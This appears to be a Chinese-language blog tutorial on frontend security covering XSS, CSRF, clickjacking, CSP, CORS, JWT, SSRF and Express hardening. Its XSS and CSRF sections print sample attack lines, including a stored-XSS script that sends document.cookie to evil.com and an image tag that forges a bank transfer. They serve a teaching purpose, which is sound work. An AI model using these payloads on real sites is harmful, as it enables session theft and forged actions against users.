FE-15-前端安全：XSS、CSRF、CSP、SameSite 策略

字数统计: 2.7k字   |   阅读时长≈ 13分

FE-15-前端安全：XSS、CSRF、CSP、SameSite 策略

本节目标：理解前端三大攻击（XSS、CSRF、点击劫持）的原理与防御，掌握 CSP、CORS、SameSite 等浏览器安全机制。

1. 安全三要素（CIA）

  • Confidentiality 机密性：数据不泄漏
  • Integrity 完整性：数据不被篡改
  • Availability 可用性：服务不中断

前端的核心威胁：

  • XSS（跨站脚本）
  • CSRF（跨站请求伪造）
  • 点击劫持
  • 敏感数据泄漏（localStorage、token）
  • 供应链攻击（恶意 npm 包）
  • 中间人（HTTP vs HTTPS）

2. XSS（Cross-Site Scripting）

XSS = 攻击者把恶意脚本注入到你的页面。

2.1 三种类型

1. 存储型 XSS（最危险）

1
2
3
攻击者提交评论：<script>fetch('evil.com?c='+document.cookie)</script>
网站存入数据库
其他用户查看评论时，脚本执行

2. 反射型 XSS

1
2
3
URL: example.com/search?q=<script>alert(1)</script>
服务端原样返回到页面
受害者点这个 URL，脚本执行

3. DOM-based XSS

1
2
3
4
// 危险：直接用 location.hash 写入页面
document.body.innerHTML = location.hash.slice(1);
// URL: example.com/#<img src=x onerror=alert(1)>
// 不经服务器，纯前端漏洞

2.2 XSS 危害

  • 窃取 cookie（document.cookie）
  • 窃取 localStorage / sessionStorage
  • 键盘记录（监听 keypress）
  • 钓鱼（伪造登录框）
  • 内嵌 iframe 钓鱼
  • 利用用户身份发请求（CSRF-like）

2.3 防御

1. 转义输出（最基本）

1
2
3
4
5
6
7
8
9
10
11
12
// React 默认转义 JSX 文本
const Safe = ({ userInput }) => <div>{userInput}</div>;
// React 会把 <script> 显示为文本，不执行

// 危险：dangerouslySetInnerHTML
const Unsafe = ({ html }) => <div dangerouslySetInnerHTML={{ __html: html }} />;
// 永远不要对用户输入用这个

// 普通 JS 拼接
const div = document.createElement('div');
div.textContent = userInput;  // ✓ 安全
div.innerHTML = userInput;    // ✗ 危险

2. CSP（Content Security Policy）

1
2
3
4
5
6
7
8
9
10
11
<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self' 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  font-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
">

通过 HTTP header（推荐，更安全）：

1
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'

用 nonce 允许内联脚本：

1
2
3
4
5
<script nonce="abc123">
  console.log('allowed');
</script>

<!-- CSP 头里也要带上同样的 nonce -->

3. 设置 HttpOnly cookie

1
2
3
// 服务端设置
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
// HttpOnly: JS 读不到，防 XSS 窃取

4. 输入验证（不是 XSS 的根本解决方案，但是好习惯）

1
2
3
4
// 用白名单验证
function isValidUsername(s) {
  return /^[a-zA-Z0-9_]{3,20}$/.test(s);
}

5. 框架默认转义

  • React：JSX 自动转义
  • Vue 3：v-text 自动转义，v-html 才会注入（避免）
  • Angular：模板自动转义

6. 用 Trusted Types（现代防御）

1
Content-Security-Policy: require-trusted-types-for 'script'
1
2
3
4
5
6
// 创建 trusted HTML 策略
const policy = trustedTypes.createPolicy('myPolicy', {
  createHTML: (s) => DOMPurify.sanitize(s),
});

div.innerHTML = policy.createHTML(userInput);

3. CSRF（Cross-Site Request Forgery）

CSRF = 攻击者诱导用户在已登录的网站上执行非自愿操作。

3.1 攻击流程

1
2
3
4
5
6
1. 用户登录 bank.com，cookie 自动随请求发送
2. 用户访问 evil.com（攻击者控制的网站）
3. evil.com 页面有：
   <img src="https://bank.com/transfer?to=attacker&amount=10000">
4. 浏览器自动请求 bank.com（带 cookie）
5. bank.com 认为是用户本人操作，执行转账

3.2 防御

1. SameSite cookie（最简单有效）

1
2
3
Set-Cookie: session=abc; SameSite=Strict  // 任何跨站都不发
Set-Cookie: session=abc; SameSite=Lax     // 顶级导航 GET 才发（默认）
Set-Cookie: session=abc; SameSite=None; Secure  // 跨站也发（需要 HTTPS）

2. CSRF Token

1
2
3
4
5
6
<!-- 服务端在表单里加一个不可预测的 token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="随机字符串">
  <input name="to" value="alice">
  <input name="amount" value="100">
</form>
1
2
3
4
5
// 客户端 fetch 也带 token
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': tokenFromCookie },
});

3. 检查 Origin / Referer

1
2
3
4
// 服务端验证
if (request.headers.origin !== 'https://example.com') {
  return 403;
}

4. 双重 Cookie

1
2
3
4
5
6
7
8
9
// 服务端设置
Set-Cookie: csrf=randomValue; Path=/

// 客户端请求时
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': getCookie('csrf') },
});
// 攻击者在 evil.com 读不到这个 cookie（HttpOnly 也行）

5. Same-Origin Policy + CORS

1
2
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

4. 点击劫持（Clickjacking）

攻击：把目标网站 iframe 到自己的页面，诱导用户点击。

4.1 防御

1
2
3
4
5
6
7
# X-Frame-Options（旧）
X-Frame-Options: DENY              # 禁止被任何网站 iframe
X-Frame-Options: SAMEORIGIN        # 只允许同源 iframe

# CSP 的 frame-ancestors（现代）
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self' https://trusted.com

5. 敏感数据保护

5.1 Token 存储

1
2
3
4
5
6
7
8
9
10
11
// ❌ 放在 localStorage（XSS 可读）
localStorage.setItem('token', token);

// ❌ 放在普通 cookie（XSS 可读 document.cookie）
Set-Cookie: token=abc

// ✅ HttpOnly + Secure + SameSite cookie
Set-Cookie: token=abc; HttpOnly; Secure; SameSite=Strict

// ✅ 短期 access token + 刷新机制
// access token 15min，refresh token 7 days

5.2 不在前端存敏感数据

1
2
3
4
5
6
7
// ❌ 暴露在前端代码
const API_KEY = 'sk-abc123...';
fetch('https://api.openai.com/v1/chat', { headers: { 'Authorization': `Bearer ${API_KEY}` } });

// ✅ 后端代理
fetch('/api/chat', { method: 'POST', body: JSON.stringify({ msg }) });
// 后端用 process.env.OPENAI_API_KEY 调用

5.3 localStorage 加密

1
2
3
4
5
6
7
8
9
10
// 如果一定要存敏感数据，加密一下
import CryptoJS from 'crypto-js';

const SECRET = 'derived-from-user-passphrase';
const encrypted = CryptoJS.AES.encrypt(value, SECRET).toString();
localStorage.setItem('data', encrypted);

const decrypted = CryptoJS.AES.decrypt(
  localStorage.getItem('data'), SECRET
).toString(CryptoJS.enc.Utf8);

6. HTTPS 与安全传输

1
2
3
4
5
// ❌ 混用 HTTP 和 HTTPS（混合内容）
<img src="http://example.com/img.jpg">  // 现代浏览器会阻止

// ✅ 强制 HTTPS
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

HSTS（HTTP Strict Transport Security）：

1
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

7. CORS（Cross-Origin Resource Sharing）

7.1 同源策略

同源 = 协议 + 域名 + 端口都相同：

1
2
3
https://example.com:443/page
   ↑        ↑        ↑
 协议    域名      端口

跨源限制：默认 JS 不能跨源读资源（fetch/XHR/canvas 等）。

7.2 简单请求 vs 预检

简单请求（直接发）：

  • GET / HEAD / POST
  • Content-Type: text/plain, application/x-www-form-urlencoded, multipart/form-data

预检请求（先 OPTIONS）：

  • PUT, DELETE
  • Content-Type: application/json
  • 自定义 header

7.3 CORS 响应头

1
2
3
4
5
Access-Control-Allow-Origin: https://app.com   # 允许的源
Access-Control-Allow-Methods: GET, POST, PUT   # 允许的方法
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true        # 允许带 cookie
Access-Control-Max-Age: 3600                  # 预检缓存时间

注意：

  • Allow-Origin: * 不能和 Allow-Credentials: true 共用
  • 必须显式指定 origin

8. 依赖安全

8.1 漏洞扫描

1
2
3
4
5
6
7
8
9
10
# npm audit
npm audit
npm audit fix         # 自动修复
npm audit fix --force # 强制升级（含 major）

# pnpm
pnpm audit

# Snyk（更强大）
npx snyk test

8.2 锁定版本

1
2
3
4
5
6
7
// package.json
{
  "dependencies": {
    "react": "18.2.0"   // ✓ 精确版本（生产）
    "react": "^18.2.0"  // 允许 18.x.x（开发）
  }
}
1
2
# 永远提交 lock 文件
git add package-lock.json pnpm-lock.yaml

8.3 供应链攻击防御

  • 用 npm ci 而不是 npm install（按 lock 严格安装）
  • 私有 npm 私服（Verdaccio、cnpm）
  • 镜像源验证（淘宝镜像有时被劫持）
  • 监控异常依赖（Dependabot、Snyk）

9. 其他安全要点

9.1 JWT 安全

1
2
3
4
5
6
// ❌ 算法混淆攻击
const token = jwt.verify(header, secret);  // 没指定算法
// 攻击者可以传 alg: 'none' 或 'HS256'（用公钥当密钥）

// ✓ 显式指定算法
jwt.verify(token, secret, { algorithms: ['HS256'] });

9.2 重定向漏洞

1
2
3
4
5
6
7
8
// ❌ 用户控制重定向目标
const url = req.query.next;
res.redirect(url);  // 攻击者诱导跳到 evil.com

// ✓ 白名单
const allow = ['/home', '/profile'];
if (allow.includes(url)) res.redirect(url);
else res.redirect('/');

9.3 SSRF（Server-Side Request Forgery）

1
2
3
4
5
6
7
// ❌ 让用户控制请求 URL
const image = await fetch(req.query.url);

// ✓ 限制为内网或固定域名
const ALLOW = ['cdn.example.com', 'images.example.com'];
const url = new URL(req.query.url);
if (!ALLOW.includes(url.hostname)) throw new Error('Invalid');

9.4 信息泄漏

1
2
3
4
5
6
// ❌ 错误详情暴露给前端
res.status(500).json({ error: err.stack });

// ✓ 记录到服务端，前端只返回 ID
console.error(err);  // 后端日志
res.status(500).json({ errorId: 'err-12345' });

9.5 限流（Rate Limiting）

1
2
3
4
5
6
7
8
9
// 防止暴力破解、API 滥用
import rateLimit from 'express-rate-limit';

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 min
  max: 100,                   // 最多 100 次请求
});

app.use('/api/', limiter);

10. Content Security Policy 详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM}' 'strict-dynamic';
  style-src 'self' 'nonce-{RANDOM}';
  img-src 'self' data: https:;
  font-src 'self' data:;
  connect-src 'self' https://api.example.com;
  media-src 'self';
  object-src 'none';
  frame-src 'self' https://www.youtube.com;
  frame-ancestors 'none';
  form-action 'self';
  base-uri 'self';
  upgrade-insecure-requests;
  block-all-mixed-content;
  require-trusted-types-for 'script';

指令速查：

指令 作用
default-src 默认策略
script-src JS 来源
style-src CSS 来源
img-src 图片来源
connect-src fetch/XHR/WebSocket 来源
frame-src iframe 来源
frame-ancestors 谁能 iframe 我（替代 X-Frame-Options）
form-action form 提交目标
base-uri <base> 限制
object-src <object> 限制

11. 实战：Node/Express 安全清单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import express from 'express';
import helmet from 'helmet';
import cookieParser from 'cookie-parser';
import csurf from 'csurf';
import rateLimit from 'express-rate-limit';
import { body, validationResult } from 'express-validator';
import DOMPurify from 'isomorphic-dompurify';

const app = express();

// 1. 安全 HTTP headers
app.use(helmet());

// 2. 限流
app.use(rateLimit({ windowMs: 15 * 60 * 1000, max: 100 }));

// 3. cookie 解析
app.use(cookieParser(process.env.COOKIE_SECRET));

// 4. body 大小限制
app.use(express.json({ limit: '10kb' }));

// 5. CSRF token
app.use(csurf({ cookie: { httpOnly: true, secure: true, sameSite: 'strict' } }));

// 6. 输入验证
app.post('/api/user',
  body('email').isEmail(),
  body('name').isLength({ min: 1, max: 50 }),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) return res.status(400).json({ errors: errors.array() });
    // ...
  }
);

// 7. 输出转义（HTML 内容）
app.get('/api/comment/:id', (req, res) => {
  const comment = getComment(req.params.id);
  res.json({ html: DOMPurify.sanitize(comment.html) });
});

12. 安全响应头 checklist

1
2
3
4
5
6
7
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY  (或用 CSP frame-ancestors)
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Content-Security-Policy: default-src 'self'; ...
X-XSS-Protection: 0  (现代浏览器忽略，但显式禁用旧行为)

小结

威胁 防御
XSS 转义、CSP、HttpOnly cookie、Trusted Types
CSRF SameSite cookie、CSRF token、检查 Origin
点击劫持 CSP frame-ancestors / X-Frame-Options
敏感数据泄漏 不存前端、用 HttpOnly cookie、后端代理 secrets
依赖漏洞 npm audit、锁定版本、Snyk
中间人 HTTPS、HSTS
CORS 后端配 Access-Control-Allow-*
JWT 攻击 显式指定算法
SSRF URL 白名单

核心原则：

  1. 不要相信任何用户输入
  2. 最小权限原则（cookie、API、CSP 都按需）
  3. 纵深防御（多重保护，XSS + CSP + HttpOnly）
  4. 定期审计（Lighthouse、npm audit）
  5. HTTPS everywhere
  6. 关注 OWASP Top 10

2026 推荐工具：

  • helmet.js：Express 安全中间件
  • DOMPurify：HTML 消毒
  • csurf / csrf-csrf：CSRF token
  • zod：运行时 + 编译时验证
  • Snyk / npm audit：依赖扫描
  • semgrep：静态分析

15 篇完结 🎉

赏

谢谢你请我吃糖果

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要涉及技术：
Java后端开发、Linux开发、
公众号开发、开源爱好者、Linux

联系QQ:562054870